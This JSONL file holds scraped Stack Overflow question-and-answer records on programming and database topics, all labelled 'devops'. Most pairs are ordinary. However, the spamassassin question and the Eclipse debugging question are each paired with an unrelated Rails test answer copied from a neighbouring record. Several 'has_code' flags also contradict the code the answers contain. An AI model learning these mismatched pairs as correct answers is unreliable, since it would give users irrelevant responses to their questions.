{"id": "hf_d005b656f434", "question": "<p>Does anyone know of an IDE for F# development that does not involve me shelling out $300? I will gladly move to F# VS Express if they ever release one, but spending money to just get started with a new language is not in my budget.</p>\n", "question_body": "", "answer": "http://msdn.microsoft.com/en-us/vsx2008/products/bb933751.aspx\nVisual Studio Shell - Free, and F# supports it out of the box.\n(edited)\nhttp://blogs.msdn.com/dsyme/archive/2008/04/04/tackling-the-f-productization.aspx\nTheres a link talking about using the Shell and such too", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.421193"}
{"id": "hf_fd80e169bece", "question": "<p>I've been wondering about the performance improvements touted in Java SE 6 - is it in the compiler or the runtime? Put another way, would a Java 5 application compiled by JDK 6 see an improvement run under JSE 5 (indicating improved compiler optimization)? Would a Java 5 application compiled by JDK 5 see an improvement run under JSE 6 (indicating improved runtime optimization)?</p>\n\n<p>I've noticed that compiling under JDK 6 takes almost twice as long as it did under JDK 5 for the exact same codebase; I'm hoping that at least some of that extra time is being spent on compiler optimizations, hopefully leading to more performant JARs and WARs. Sun's JDK info doesn't really go into detail on the performance improvements they've made - I assume it's a little from column A, and a little from column B, but I wonder which is the greater influence. Does anyone know of any benchmarks done on JDK 6 vs. JDK 5?</p>\n", "question_body": "", "answer": "Its almost 100% the runtime.  While it is possible for some basic compilation tricks to make it into the Java compiler itself, I don't believe there are any significant improvements between Java 1.5 and 1.6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.459218"}
{"id": "hf_c2b1335df9e0", "question": "<p>Why is it that they decided to make <code>String</code> immutable in Java and .NET (and some other languages)? Why didn't they make it mutable?</p>\n", "question_body": "", "answer": "It's largely for security reasons.  It's much harder to secure a system if you can't trust that your\n```\nString\n```\ns are tamperproof.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.558029"}
{"id": "hf_81e08253bc68", "question": "<p>What is the difference between Object-Oriented Modeling and Object-Oriented Programming? I overheard a conversation on my subway train this morning and it seems that these things are different. Aren't they?</p>\n", "question_body": "", "answer": "I'd say the modeling precludes the programing, where the modeling is the physical design, before the programming is implemented.\nhttp://en.wikipedia.org/wiki/Object-Oriented_Modeling\nhttp://en.wikipedia.org/wiki/Object_oriented_programming", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.583261"}
{"id": "hf_b50845d2f8c5", "question": "<p>Need a function that takes a character as a parameter and returns true if it is a letter.</p>\n", "question_body": "", "answer": "This was part of the code posted by\nrpetrich\nin response to a\nquestion\nby\nJoel Spolsky\n.  I felt it needed a post specific to the problem it solves.  It really is brilliant.\n```\n```\nPrivate Function IsLetter(ByVal character As String) As Boolean\n    IsLetter = UCase$(character) <> LCase$(character)\nEnd Function\n```\n```\nYou may be thinking to yourself, \"Will this always work?\"  The documentation on the UCase and LCase functions, confirms that it will:\nUCase Function\nOnly lowercase letters are converted to uppercase;\nall uppercase letters and nonletter characters remain unchanged\n.\nLCase Function\nOnly uppercase letters are converted to lowercase;\nall lowercase letters and nonletter characters remain unchanged\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.621231"}
{"id": "hf_2354b5f0db4f", "question": "<p>I'm importing a MySQL dump and getting the following error.</p>\n\n<pre><code>$ mysql foo &lt; foo.sql \nERROR 1153 (08S01) at line 96: Got a packet bigger than 'max_allowed_packet' bytes\n</code></pre>\n\n<p>Apparently there are attachments in the database, which makes for very large inserts.</p>\n\n<hr>\n\n<p>This is on my local machine, a Mac with MySQL 5 installed from the MySQL package.</p>\n\n<p>Where do I change <code>max_allowed_packet</code> to be able to import the dump?  </p>\n\n<p>Is there anything else I should set?  </p>\n\n<p>Just running <code>mysql --max_allowed_packet=32M …</code> resulted in the same error.</p>\n", "question_body": "", "answer": "This can be changed in your\n```\nmy.ini\n```\nfile (on Windows, located in \\Program Files\\MySQL\\MySQL Server) under the server section, for example:\n```\n```\n[mysqld]\n\nmax_allowed_packet = 10M\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.647222"}
{"id": "hf_6e342579b857", "question": "<p>In our project we have a standard auto-generated designer.cs file, linked to a DBML file, that contains all our object classes that map onto our database tables.</p>\n\n<p>We want to pass these objects directly through a WCF Service and so they need decorating with the [DataContract] and [DataMember] attributes where appropriate. What is the best approach to doing this so the changes won't get wiped out when the designer.cs file is re-generated upon a change to the database scheme or some other change.</p>\n\n<p>Partial classes are an option, but if the property I want to decorate with the DataMember attribute is already defined in the autogenerated designer.cs file then I can't add the same property definition to the partial class as this means the property will have been defined twice.</p>\n", "question_body": "", "answer": "The dbml files give partial classes, so you can create a new .cs file, define the partial class that you want to extend, and then decorate that with the attributes that you want. For instance if you have a generated data context that looks like\n```\n```\npublic partial class MyDataContext : System.Data.Linq.DataContext\n{\n...\n}\n```\n```\nyou can define the following in a separate .cs file:\n```\n```\n[DataContract]\npublic partial class MyDataContext\n{\n...\n}\n```\n```\nThis way you can extend the generated classes without worrying about them being overwritten when your dbml file is re-generated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.717691"}
{"id": "hf_4f0f59fcf8a0", "question": "<p>Apparently you can easily obtain a client IP address in WCF 3.5 but not in WCF 3.0.  Anyone know how?</p>\n", "question_body": "", "answer": "This doesn't help you in 3.0, but I can just see people finding this question and being frustrated because they are trying to get the client IP address in 3.5. So, here's some code which should work:\n```\n```\nusing System.ServiceModel;\nusing System.ServiceModel.Channels;\n\nOperationContext context = OperationContext.Current;\nMessageProperties prop = context.IncomingMessageProperties;\nRemoteEndpointMessageProperty endpoint =\n    prop[RemoteEndpointMessageProperty.Name] as RemoteEndpointMessageProperty;\nstring ip = endpoint.Address;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.743358"}
{"id": "hf_5dfca6dc187c", "question": "<p>When using the Eclipse->Team->Show History view, what's the difference between using Subclipse \"Get Contents\" and \"Get Revision\" options on a revision of a file?</p>\n\n<p>Is there any way to see what svn commands Subclipse is issuing behind the scenes?</p>\n", "question_body": "", "answer": "From the Subclipse manual (Help > Help Contents):\nGet Contents\nUse this option to update the contents\n  of the selected file in your working\n  copy with the contents of the revision\n  in the repository. The revision number\n  of your local file is not changed by\n  this option.\nThis option is only valid when the\n  resource history was launched for an\n  individual file in a local working\n  copy.\nGet Revision\nUse this option to replace the file in\n  your working copy with the selected\n  revision in the repository. The\n  revision number of your local file is\n  changed to the selected revision.\nThis option is only valid when the\n  resource history was launched for an\n  individual file in a local working\n  copy.\nPretty self-explanatory.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.794031"}
{"id": "hf_9de7b640e0b3", "question": "<p>I'd like to automatically generate database scripts on a regular basis. Is this possible.</p>\n", "question_body": "", "answer": "To generate script for an object you have to pass up to six parameters:\n```\n```\nexec proc_genscript \n    @ServerName = 'Server Name', \n    @DBName = 'Database Name', \n    @ObjectName = 'Object Name to generate script for', \n    @ObjectType = 'Object Type', \n    @TableName = 'Parent table name for index and trigger',\n    @ScriptFile = 'File name to save the script'\n```\n```\nhttp://www.databasejournal.com/features/mssql/article.php/2205291", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.819524"}
{"id": "hf_b3776d7af9c0", "question": "<p>Given the code from the <a href=\"http://railscasts.com/episodes/75\" rel=\"nofollow noreferrer\">Complex Form part III</a> how would you go about testing the virtual attribute?</p>\n<pre><code>  def new_task_attributes=(task_attributes)\n    task_attributes.each do |attributes|\n      tasks.build(attributes)\n    end\n  end\n</code></pre>\n<p>I am currently trying to test it like this:</p>\n<pre><code>  def test_adding_task_to_project\n    p = Project.new\n    params = {&quot;new_tasks_attributes&quot; =&gt; [{ &quot;name&quot; =&gt; &quot;paint fence&quot;}]}\n    p.new_tasks_attributes=(params)\n    p.save\n    assert p.tasks.length == 1\n  end\n</code></pre>\n<p>But I am getting the following error:</p>\n<blockquote>\n<p>NoMethodError: undefined method `stringify_keys!' for &quot;new_tasks_attributes&quot;:String</p>\n</blockquote>\n<p>Any suggestions on improving this test would be greatly appreciated.</p>\n", "question_body": "", "answer": "It looks as if new_task_attributes= is expecting an array of hashes, but you're passing it a hash. Try this:\n```\n```\ndef test_adding_task_to_project\n  p = Project.new\n  new_tasks_attributes = [{ \"name\" => \"paint fence\"}]\n  p.new_tasks_attributes = (new_tasks_attributes)\n  p.save\n  assert p.tasks.length == 1\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.844833"}
{"id": "hf_22f469e48f9e", "question": "<p>I recently received an email from my girlfriend that spamassassin marked as spam, mostly because spamassassin detected a tracker ID... except there wasn't one.  I'd like to know what triggered it, so that I can report a sensible bug.</p>\n", "question_body": "", "answer": "It looks as if new_task_attributes= is expecting an array of hashes, but you're passing it a hash. Try this:\n```\n```\ndef test_adding_task_to_project\n  p = Project.new\n  new_tasks_attributes = [{ \"name\" => \"paint fence\"}]\n  p.new_tasks_attributes = (new_tasks_attributes)\n  p.save\n  assert p.tasks.length == 1\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.869621"}
{"id": "hf_47e2c6c4a77f", "question": "<p>I'm having a problem debugging an Eclipse Application from Eclipse.  When I launch the Debug Configuration, the Eclipse Application starts up and then stops repeatedly.  It shows the splash screen and then disappears.  This is the farthest it gets before restarting:</p>\n\n<pre><code>MyDebugConfiguration [Eclipse Application]  \n    org.eclipse.equinox.launcher.Main at localhost:2599 \n        Thread [main] (Running) \n        Daemon Thread [Signal Dispatcher] (Running) \n        Daemon Thread [State Data Manager] (Running)    \n        Daemon Thread [Framework Event Dispatcher] (Running)    \n        Thread [State Saver] (Running)  \n        Daemon Thread [Start Level Event Dispatcher] (Running)  \n        Thread [Refresh Packages] (Running) \n    C:\\MyApp\\eclipse\\jdk\\jre\\bin\\javaw.exe (Sep 18, 2008 9:38:19 AM)    \n</code></pre>\n\n<p>I am using Version 3.4.0 of the Eclipse SDK.</p>\n\n<p>What is causing this?</p>\n", "question_body": "", "answer": "It looks as if new_task_attributes= is expecting an array of hashes, but you're passing it a hash. Try this:\n```\n```\ndef test_adding_task_to_project\n  p = Project.new\n  new_tasks_attributes = [{ \"name\" => \"paint fence\"}]\n  p.new_tasks_attributes = (new_tasks_attributes)\n  p.save\n  assert p.tasks.length == 1\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.894072"}
{"id": "hf_dbd21cab0af2", "question": "<p>I am reading about COFF file formats, which is commonly used to create an executable file format (it has some variants also). </p>\n\n<p>While reading, I came across the relocation section of the format. How is this relocation section used to create an executable file.</p>\n\n<p>It would be very useful if you point me to some links which will help me.</p>\n", "question_body": "", "answer": "Relocation is used to place executable code in its own memory space in a process.  For example, if you try to load two dlls that both request the same base address (ie, the same place in memory), then one of the dlls will have to be relocated to another address.\nNTCore\nis a useful site for exploring Portable Executable (PE) files, which is what COFF is now called.\nHere\nis another site that explains relocation pretty well.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.935890"}
{"id": "hf_223995018303", "question": "<p>I have created a foreign key (in SQL Server) by:</p>\n\n<pre><code>alter table company add CountryID varchar(3);\nalter table company add constraint Company_CountryID_FK foreign key(CountryID) \nreferences Country;\n</code></pre>\n\n<p>I then run this query:</p>\n\n<pre><code>alter table company drop column CountryID;\n</code></pre>\n\n<p>and I get this error:</p>\n\n<blockquote>\n  <p><em>Msg 5074, Level 16, State 4, Line 2<br>\n  The object 'Company_CountryID_FK' is dependent on column 'CountryID'.<br>\n  Msg 4922, Level 16, State 9, Line 2<br>\n  ALTER TABLE DROP COLUMN CountryID failed because one or more objects access this column</em></p>\n</blockquote>\n\n<p>I have tried this, yet it does not seem to work:</p>\n\n<pre><code>alter table company drop foreign key Company_CountryID_FK; \nalter table company drop column CountryID;\n</code></pre>\n\n<p>What do I need to do to drop the <code>CountryID</code> column?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Try\n```\n```\nalter table company drop constraint Company_CountryID_FK\n\nalter table company drop column CountryID\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:07.968411"}
{"id": "hf_dffd5787abbd", "question": "<p>I have a rails form with a datetime_select field. When I try to submit the form, I get the following exception:</p>\n\n<pre><code>ActiveRecord::MultiparameterAssignmentErrors in WidgetsController#update \n1 error(s) on assignment of multiparameter attributes\n</code></pre>\n\n<p>If it's a validation error, why don't I see an error on the page?</p>\n\n<p>This is in Rails 2.0.2</p>\n", "question_body": "", "answer": "It turns out that rails uses something called Multi-parameter assignment to transmit dates and times in small parts that are reassembled when you assign params to the model instance.\nMy problem was that I was using a datetime_select form field for a date model field. It apparently chokes when the multi-parameter magic tries to set the time on a Date object.\nThe solution was to use a\n```\ndate_select\n```\nform field rather than a\n```\ndatetime_select\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.005946"}
{"id": "hf_9683e9461aa5", "question": "<p>I want to make a small app that displays a PDF, presenting zoom-able single pages with a previous-next page function.</p>\n", "question_body": "", "answer": "The iPhone and iPod touch can view PDFs already, as one of the TV adverts in the UK shows an email with a .pdf attachment (of swimming lessons) being viewed. It can also view .doc, .xls, and so on, so if he is creating a viewer type application then supporting those as well could be a nice feature addition later on.\nThis means there is a PDF framework on these devices that you will need to access. Presumably Apple can provide support here if he is a paid up developer. Syncing the PDFs to the device is the actual real difficulty, as this isn't supported by iTunes. I assume that you would need to write a network based synchronisation tool, or have an online cloud for holding people's PDFs.\nThe device doesn't support Flash, so using PDF to Flash conversion tools will not work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.070229"}
{"id": "hf_0f38e17bfbcc", "question": "<p>I'm porting a C++ 32 bit application to 64 bit on windows. The application is a client of IBM WebSphere MQ. It uses the MQ client API.</p>\n\n<p>Now, as the port progresses, I'm trying to find a 64 bit client. So far, no luck.</p>\n\n<p>Does anyone here happen to know if where I can find one or confirm that there isn't one?</p>\n", "question_body": "", "answer": "I found this page on IBM's site:\nIA94: IBM Message Service Client for C/C++\n. On it there is a link to a\nreadme.txt file\nwhich, under \"Supported environments\" lists \"Windows 2003 Server x64 edition - Microsoft Visual C++ .NET 2005 Service Pack1\".\nHope that helps!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.093912"}
{"id": "hf_7b7133310a36", "question": "<p>I need to make a random list of permutations.  The elements can be anything but assume that they are the integers 0 through x-1.  I want to make y lists, each containing z elements.  The rules are that no list may contain the same element twice and that over all the lists, the number of times each elements is used is the same (or as close as possible).  For instance, if my elements are 0,1,2,3, y is 6, and z is 2, then one possible solution is:</p>\n\n<pre>\n0,3\n1,2\n3,0\n2,1\n0,1\n2,3\n</pre>\n\n<p>Each row has only unique elements and no element has been used more than 3 times.  If y were 7, then 2 elements would be used 4 times, the rest 3.</p>\n", "question_body": "", "answer": "Ok, one way to approximate that:\n1 - shuffle your list\n2 - take the y first elements to form the next row\n4 - repeat (2) as long as you have numbers in the list\n5 - if you don't have enough numbers to finish the list, reshuffle the original list and take the missing elements, making sure you don't retake numbers.\n6 - Start over at step (2) as long as you need rows\nI think this should be as random as you can make it and will for sure follow your criteria. Plus, you have very little tests for duplicate elements.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.128772"}
{"id": "hf_2b437bc46459", "question": "<p>I saw some code like the following in a JSP</p>\n\n<pre><code>&lt;c:if test=\"&lt;%=request.isUserInRole(RoleEnum.USER.getCode())%&gt;\"&gt;\n    &lt;li&gt;user&lt;/li&gt;\n&lt;/c:if&gt;\n</code></pre>\n\n<p>My confusion is over the \"=\" that appears in the value of the <code>test</code> attribute. My understanding was that anything included within <code>&lt;%= %&gt;</code> is printed to the output, but surely the value assigned to test must be a Boolean, so why does this work?</p>\n\n<p>For bonus points, is there any way to change the attribute value above such that it does not use scriptlet code? Presumably, that means using EL instead.</p>\n\n<p>Cheers,\nDon</p>\n", "question_body": "", "answer": "Attributes in JSP tag libraries in general can be either static or resolved at request time.  If they are resolved at request time the JSP will resolve their value at runtime and pass the output on to the tag.  This means you can put pretty much any JSP code into the attribute and the tag will behave accordingly to what output that produces.\nIf you look at the jstl taglib docs you can see which attributes are reuest time and which are not.\nhttp://java.sun.com/products/jsp/jstl/1.1/docs/tlddocs/index.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.186427"}
{"id": "hf_8971b701153b", "question": "<p>I use <a href=\"http://files.emacsblog.org/ryan/elisp/maxframe.el\" rel=\"noreferrer\">maxframe.el</a> to maximize my Emacs frames.</p>\n\n<p>It works great on all three major platforms, except on my dual-head Mac setup (Macbook Pro 15-inch laptop with 23-inch monitor). </p>\n\n<p>When maximizing an Emacs frame, the frame expands to fill the width of <em>both</em> monitors and the height of the larger monitor. </p>\n\n<p>Obviously, I would like the frame to maximize to fill only the monitor it's on. How can I detect the resolutions of the two individual monitors using elisp? </p>\n\n<p>Thanks,\nJacob</p>\n\n<p>EDIT: As Denis points out, setting mf-max-width is a reasonable workaround. But (as I should have mentioned) I was hoping for a solution that works on both monitors and with any resolution. Maybe something OSX-specific in the style of the Windows-specific w32-send-sys-command. </p>\n", "question_body": "", "answer": "Does customising `mf-max-width' work?  Its documentation:\n```\n```\n\"*The maximum display width to support.  This helps better support the true\nnature of display-pixel-width.  Since multiple monitors will result in a\nvery large display pixel width, this value is used to set the stop point for\nmaximizing the frame.  This could also be used to set a fixed frame size\nwithout going over the display dimensions.\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.211191"}
{"id": "hf_c85ba3c175f6", "question": "<p>What is considered as best practice when it comes to assemblies and releases?</p>\n\n<p>I would like to be able to reference multiple versions of the same library - solution contains multiple projects that depend on different versions of a commonutils.dll library we build ourselves.</p>\n\n<p>As all dependencies are copied to the bin/debug or bin/release, only a single copy of commonutils.dll can exist there despite each of the DLL files having different assembly version numbers.</p>\n\n<p>Should I include version numbers in the assembly name to be able to reference multiple versions of a library or is there another way?</p>\n", "question_body": "", "answer": "Assemblies can coexist in the GAC (Global Assembly Cache) even if they have the same name given that the version is different. This is how .NET Framework shipped assemblies work. A requirement that must be meet in order for an assembly to be able to be GAC registered is to be signed.\nAdding version numbers to the name of the Assembly just defeats the whole purpose of the assembly ecosystem and is cumbersome IMHO. To know which version of a given assembly I have just open the Properties window and check the version.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.285116"}
{"id": "hf_6b4fec59bd10", "question": "<p>when an SQL Server Express DB is 'in recovery', you are unable to connect using SQL Authentication. </p>\n\n<p>Is there a simple way of determining the stat of the DB prior to connecting to it?\n(Using .Net)</p>\n", "question_body": "", "answer": "```\n```\nSELECT DATABASEPROPERTYEX ('master', 'STATUS') AS 'Status';\n```\n```\nReplace 'master' with your database name", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.323997"}
{"id": "hf_89dab5252e28", "question": "<p>Site 1 has dll's for x amount of object and data calls.  Can Site 2 (a separate .net web app) call the objects/dll's of Site 1 ?</p>\n", "question_body": "", "answer": "This may be more semantics:\nYou can't call an object of another process.  You can however potentially instantiate a class within a dll as long as there is a reference to that dll in the calling web application.\nIf you GAC the dll, the classes (not objects) will be accessible to the entire machine.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.349591"}
{"id": "hf_2a3d37ed0962", "question": "<p>The IIS 6.0 is serving my Classical ASP pages in a serial fashion (one at a time)</p>\n\n<p>The #2 request will be handled by the web server only when the #1 request ends. </p>\n\n<p>If the #1 request takes a little longer, the #2 request will have to wait for the #1 ends to starts being handled by IIS.</p>\n\n<p><strong>Is this a missconfiguration in IIS?</strong></p>\n\n<p>The operation system is Windows Server 2003 Standard Edition (Service Pack 2)</p>\n", "question_body": "", "answer": "Yes, IIS or the site is most likely configured for server-side debugging, which causes all requests to the site to go through a single thread.\nTo check if this is the case/turn it off:\nIn the Properties pages for any Web site or Web virtual directory, click the Home Directory or Virtual Directory tab.\nUnder Application Settings, click Configuration. An application must be created for the button to be active.\nClick the Debugging tab.\nUn-check the Enable ASP server-side script debugging check box.\n(Above steps were copied from the\nDebugging ASP Applications in IIS\nKB article)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.385423"}
{"id": "hf_f63c019e1278", "question": "<p>What is the difference between Views and Materialized Views in Oracle?</p>\n", "question_body": "", "answer": "Materialized views are disk based and are updated periodically based upon the query definition.\nViews are virtual only and run the query definition each time they are accessed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.442735"}
{"id": "hf_e47254d26d39", "question": "<p>I have a custom user control with a textbox on it and I'd like to expose the baseline (of the text in the textbox) snapline outside of the custom control.  I know that you create a designer (inherited from ControlDesigner) and override SnapLines to get access to the snaplines, but I'm wondering how to get the text baseline of a control that I have exposed by my custom user control.</p>\n", "question_body": "", "answer": "You're on the right track.  You will need to override the SnapLines property in your designr and do something like this:\n```\n```\nPublic Overrides ReadOnly Property SnapLines() As System.Collections.IList\n    Get\n        Dim snapLinesList As ArrayList = TryCast(MyBase.SnapLines, ArrayList)\n\n        Dim offset As Integer\n        Dim ctrl As MyControl = TryCast(Me.Control, MyControl)\n        If ctrl IsNot Nothing AndAlso ctrl.TextBox1 IsNot Nothing Then\n            offset = ctrl.TextBox1.Bottom - 5\n        End If\n\n        snapLinesList.Add(New SnapLine(SnapLineType.Baseline, offset, SnapLinePriority.Medium))\n\n        Return snapLinesList\n\n    End Get\nEnd Property\n```\n```\nIn this example the usercontrol contains a textbox.  The code adds a new snapline that represents the baseline for the textbox.  The important thing is to calculate the offset correctly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.466201"}
{"id": "hf_b5c9045b97c3", "question": "<p>For example, if I declare a long variable, can I assume it will always be aligned on a \"sizeof(long)\" boundary? Microsoft Visual C++ online help says so, but is it standard behavior?</p>\n\n<p>some more info:</p>\n\n<p>a. It is possible to explicitely create a misaligned integer (*bar):</p>\n\n<blockquote>\n  <p>char foo[5]</p>\n  \n  <p>int * bar = (int *)(&amp;foo[1]);</p>\n</blockquote>\n\n<p>b. Apparently, #pragma pack() only affects structures, classes, and unions.</p>\n\n<p>c. MSVC documentation states that POD types are aligned to their respective sizes (but is it always or by default, and is it standard behavior, I don't know)</p>\n", "question_body": "", "answer": "Yes, all types are always aligned to at least their alignment requirements.\nHow could it be otherwise?\nBut note that the sizeof() a type is not the same as it's alignment.\nYou can use the following macro to determine the alignment requirements of a type:\n```\n```\n#define ALIGNMENT_OF( t ) offsetof( struct { char x; t test; }, test )\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.518725"}
{"id": "hf_40226792311f", "question": "<p>is it possible to create java application that will\nwork as background process on symbian smartphones?</p>\n", "question_body": "", "answer": "You can approximate it but J2ME (the version of java on mobile phones) may not be the right technology to do this.\nstarting a MIDlet (a Java application for mobile phones) when the phone is switched on is tricky at best without coding a small Symbian OS C++ module that will start it for you. If you want to try anyway, look at the PushRegistry class in the MIDP specs\n(\nhttp://java.sun.com/javame/reference/apis/jsr118/\n). The Content Handling API might provide some way to do it too (\nhttp://java.sun.com/javame/reference/apis/jsr211\n). When you are ready to give up, do it in C++.\nBackgrounding a MIDlet isn't hard. The phone's \"menu\" key will do it for you. Programatically, Canvas.setCurrent(null) has a good chance of working. Trying to trick the phone by providing a fully transparent GUI and not handling any keypad activity will absolutely not work. Creating and starting a separate Thread in the MIDlet should allow you to keep something running even after your overload of MIDlet.pauseApp() has been called by the application management system.\nThe real issue is that the MIDlet will not have any Inter Process Communication system unless you make one. The usual way of doing that is a loopback socket connection over which you transfer data. Not a nice or efficient way of simulating IPC. Sharing a RMS record can only be done from within the same MIDlet suite (you can package several MIDlets into the same .jar file), I think. The code to create a provider/consumer data flow over a file connection is even uglier and will raise security issues.\nWithout any more information about what you want to use it for, my answer is : maybe but you should probably not try.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:08.544411"}
